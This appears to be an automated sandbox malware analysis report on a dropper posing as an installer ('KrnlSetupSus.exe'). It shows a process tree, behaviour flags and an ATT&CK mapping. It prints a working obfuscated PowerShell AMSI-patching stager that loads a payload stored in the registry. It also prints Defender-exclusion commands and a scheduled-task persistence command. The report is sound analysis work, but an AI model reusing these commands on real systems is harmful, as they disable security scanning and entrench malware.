PID 4004 wrote to memory of 2768	4004	powershell.EXE	87
PID 4004 wrote to memory of 2768	4004	powershell.EXE	87
PID 4004 wrote to memory of 2768	4004	powershell.EXE	87
PID 4004 wrote to memory of 2768	4004	powershell.EXE	87
PID 2768 wrote to memory of 628	2768	dllhost.exe	5
PID 2768 wrote to memory of 684	2768	dllhost.exe	7
PID 2768 wrote to memory of 972	2768	dllhost.exe	12
PID 2768 wrote to memory of 388	2768	dllhost.exe	13
PID 2768 wrote to memory of 704	2768	dllhost.exe	14
PID 2768 wrote to memory of 1048	2768	dllhost.exe	15
PID 2768 wrote to memory of 1108	2768	dllhost.exe	17
PID 2768 wrote to memory of 1120	2768	dllhost.exe	18
PID 2768 wrote to memory of 1216	2768	dllhost.exe	19
PID 2768 wrote to memory of 1224	2768	dllhost.exe	20
PID 2768 wrote to memory of 1304	2768	dllhost.exe	21
PID 2768 wrote to memory of 1312	2768	dllhost.exe	22
PID 2768 wrote to memory of 1416	2768	dllhost.exe	23
PID 2768 wrote to memory of 1472	2768	dllhost.exe	24
PID 2768 wrote to memory of 1480	2768	dllhost.exe	25
PID 2768 wrote to memory of 1500	2768	dllhost.exe	26
PID 2768 wrote to memory of 1512	2768	dllhost.exe	27
PID 2768 wrote to memory of 1664	2768	dllhost.exe	28
PID 2768 wrote to memory of 1700	2768	dllhost.exe	29
PID 2768 wrote to memory of 1768	2768	dllhost.exe	30
PID 2768 wrote to memory of 1828	2768	dllhost.exe	31
PID 2768 wrote to memory of 1852	2768	dllhost.exe	32
PID 2768 wrote to memory of 1980	2768	dllhost.exe	33
PID 2768 wrote to memory of 1988	2768	dllhost.exe	34
PID 2768 wrote to memory of 1764	2768	dllhost.exe	35
PID 2768 wrote to memory of 1760	2768	dllhost.exe	36
PID 2768 wrote to memory of 1860	2768	dllhost.exe	37
PID 2768 wrote to memory of 2108	2768	dllhost.exe	38
PID 2768 wrote to memory of 2268	2768	dllhost.exe	40
PID 2768 wrote to memory of 2348	2768	dllhost.exe	41
PID 2768 wrote to memory of 2436	2768	dllhost.exe	42
PID 2768 wrote to memory of 2444	2768	dllhost.exe	43
PID 2768 wrote to memory of 2620	2768	dllhost.exe	44
PID 2768 wrote to memory of 2632	2768	dllhost.exe	45
PID 2768 wrote to memory of 2672	2768	dllhost.exe	46
PID 2768 wrote to memory of 2712	2768	dllhost.exe	47
PID 2768 wrote to memory of 2732	2768	dllhost.exe	48
PID 2768 wrote to memory of 2776	2768	dllhost.exe	49
PID 2768 wrote to memory of 2784	2768	dllhost.exe	50
PID 2768 wrote to memory of 2940	2768	dllhost.exe	51
PID 2768 wrote to memory of 3032	2768	dllhost.exe	52
PID 2768 wrote to memory of 2380	2768	dllhost.exe	53
PID 2768 wrote to memory of 3348	2768	dllhost.exe	55
PID 2768 wrote to memory of 3440	2768	dllhost.exe	56
PID 2768 wrote to memory of 3572	2768	dllhost.exe	57
PID 2768 wrote to memory of 3748	2768	dllhost.exe	58
PID 2768 wrote to memory of 3900	2768	dllhost.exe	60
PID 2768 wrote to memory of 8	2768	dllhost.exe	62
PID 2768 wrote to memory of 2276	2768	dllhost.exe	65
PID 2768 wrote to memory of 4636	2768	dllhost.exe	66
PID 2768 wrote to memory of 1536	2768	dllhost.exe	68

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:628
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:388
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{bb587887-7843-4d1b-9012-8cf3e0e361f1}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2768

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Drops file in System32 directory
PID:684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1048

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1216
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:FuiWpBjbVRfv{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OZUyLNOVVFrLXd,[Parameter(Position=1)][Type]$XKaBzWEmAo)$MEddAzbuuPE=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+'t'+''+'e'+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+'g'+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+'M'+[Char](111)+''+'d'+'ule',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+'l'+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+'l'+'a'+''+'s'+'s'+','+''+'P'+'u'+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+','+[Char](65)+'u'+'t'+''+'o'+''+'C'+'l'+[Char](97)+'s'+'s'+'',[MulticastDelegate]);$MEddAzbuuPE.DefineConstructor(''+'R'+''+[Char](84)+'S'+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+'e,'+[Char](72)+''+'i'+'d'+[Char](101)+''+[Char](66)+'yS'+[Char](105)+''+'g'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$OZUyLNOVVFrLXd).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+'t'+[Char](105)+'me'+[Char](44)+'M'+'a'+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$MEddAzbuuPE.DefineMethod(''+'I'+'n'+'v'+''+'o'+''+'k'+''+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+'l'+'i'+''+[Char](99)+''+[Char](44)+''+'H'+''+[Char](105)+''+'d'+'eB'+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+''+[Char](78)+'e'+'w'+''+[Char](83)+''+'l'+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$XKaBzWEmAo,$OZUyLNOVVFrLXd).SetImplementationFlags(''+'R'+'u'+'n'+''+'t'+'i'+'m'+''+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+'g'+[Char](101)+''+[Char](100)+'');Write-Output $MEddAzbuuPE.CreateType();}$rYoSaGCGNxPMi=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+'t'+'e'+'m.'+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+'.'+[Char](87)+''+[Char](105)+''+'n'+''+[Char](51)+'2.'+'U'+'n'+[Char](115)+''+[Char](97)+''+'f'+'e'+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+'M'+'e'+''+'t'+''+'h'+''+[Char](111)+''+'d'+''+[Char](115)+'');$dAyFjwEBDfsDTE=$rYoSaGCGNxPMi.GetMethod(''+'G'+''+[Char](101)+'t'+[Char](80)+''+[Char](114)+''+[Char](111)+''+'c'+''+'A'+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+'c,'+[Char](83)+''+'t'+''+'a'+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$xZZulXWunkZpbWyyffw=FuiWpBjbVRfv @([String])([IntPtr]);$GTndwQLYBpCIXnuqlOoiUm=FuiWpBjbVRfv @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$TjjdOvYHojp=$rYoSaGCGNxPMi.GetMethod(''+[Char](71)+''+[Char](101)+'tM'+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+'n'+[Char](101)+''+[Char](108)+'3'+'2'+''+[Char](46)+''+'d'+''+'l'+''+'l'+'')));$VJxpuHRNtXQHwU=$dAyFjwEBDfsDTE.Invoke($Null,@([Object]$TjjdOvYHojp,[Object](''+'L'+'o'+[Char](97)+''+'d'+'L'+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+'r'+''+[Char](121)+''+[Char](65)+'')));$iMgnXqqlrkkzSiJTY=$dAyFjwEBDfsDTE.Invoke($Null,@([Object]$TjjdOvYHojp,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+''+'c'+''+[Char](116)+'')));$oHbMnMA=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VJxpuHRNtXQHwU,$xZZulXWunkZpbWyyffw).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+'i'+[Char](46)+''+'d'+'l'+[Char](108)+'');$wHocNVhsaDneBqroV=$dAyFjwEBDfsDTE.Invoke($Null,@([Object]$oHbMnMA,[Object](''+[Char](65)+'m'+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+'u'+'f'+'f'+'e'+'r'+'')));$CXnUenPCPc=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iMgnXqqlrkkzSiJTY,$GTndwQLYBpCIXnuqlOoiUm).Invoke($wHocNVhsaDneBqroV,[uint32]8,4,[ref]$CXnUenPCPc);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$wHocNVhsaDneBqroV,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iMgnXqqlrkkzSiJTY,$GTndwQLYBpCIXnuqlOoiUm).Invoke($wHocNVhsaDneBqroV,[uint32]8,0x20,[ref]$CXnUenPCPc);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+'7'+[Char](55)+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1480
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  - Modifies registry class
  PID:2620

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1512

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1828

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1980

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1988

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1860

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2108

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2268

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2712

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3032

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3348

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3440
- C:\Users\Admin\AppData\Local\Temp\Install.exe
  "C:\Users\Admin\AppData\Local\Temp\Install.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:680
- - C:\ProgramData\Install.exe
    "C:\ProgramData\Install.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1368
- - C:\ProgramData\KrnlSetupSus.exe
    "C:\ProgramData\KrnlSetupSus.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:3716
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\KrnlSetupSus.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4980
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'KrnlSetupSus.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4676
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1720
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\ntoskrnl.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1932
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2816
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'ntoskrnl.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4828
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3548
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "ntoskrnl" /tr "C:\ProgramData\ntoskrnl.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5068
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4476
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /delete /f /tn "ntoskrnl"
      4⤵
      PID:1580
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpE59D.tmp.bat""
      4⤵
      PID:1968
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4920
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:1756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3572

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3748

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3900

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:8

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:2276

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:5076

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3668

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4312

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:460

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3644

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3416

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:3948

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe dbe8c38746f9cbf23e9a5fabed2634d9 IVG7hz3GU0OWhvnw/VxszA.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:1916
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:2968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:2904

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Checks processor information in registry
PID:4760

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:900

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:4692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery